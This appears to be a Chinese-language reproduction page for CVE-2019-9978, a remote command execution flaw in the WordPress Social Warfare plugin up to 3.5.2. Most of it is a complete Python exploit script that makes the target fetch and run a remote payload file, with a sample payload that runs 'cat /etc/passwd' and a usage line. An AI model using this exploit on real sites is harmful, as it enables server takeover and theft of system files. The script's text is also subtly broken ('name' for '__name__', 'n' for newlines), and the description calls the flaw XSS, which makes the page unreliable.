（CVE-2019-9978）WordPress Plugin - social warfare 远程命令执行漏洞
一、漏洞简介
WordPress
social-warfare插件3.5.3之前版本中存在跨站脚本漏洞。远程攻击者可借助'swp_url'参数利用该漏洞注入恶意的JavaScript脚本。
二、漏洞影响
Social WarFare Plugin (<=3.5.2)
三、复现过程
poc
首先在自己的服务器上传http(s)://www.0-sec.org/payload.txt
system('cat /etc/passwd')
> useage
python cve-2019-9978.py --target http://vulntarget.com --payload-uri http://yourpayloadsite.com/payload.txt
# Title: RCE in Social Warfare Plugin ( <=3.5.2 )
# Date: March, 2019
# Researcher: Luka Sikic
# Exploit Author: hash3liZer
# Download Link: https://wordpress.org/plugins/social-warfare/
# Version: <= 3.5.2
# CVE: CVE-2019-9978
import sys
import requests
import re
import urlparse
import optparse
class EXPLOIT:
VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"
def __init__(self, _t, _p):
self.target = _t
self.payload = _p
def engage(self):
uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )
r = requests.get( uri )
if r.status_code == 500:
print "[*] Received Response From Server!"
rr = r.text
obj = re.search(r"^(.*)<!DOCTYPE", r.text.replace( "n", "lnbreak" ))
if obj:
resp = obj.groups()[0]
if resp:
print "[<] Received: "
print resp.replace( "lnbreak", "n" )
else:
sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
else:
sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
else:
sys.exit( "[~] Unexpected Status Received!" )
def main():
parser = optparse.OptionParser( )
parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )
parser.add_option( '' , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )
(options, args) = parser.parse_args()
print "[>] Sending Payload to System!"
exploit = EXPLOIT( options.target, options.payload )
exploit.engage()
if name == "__main__":
main()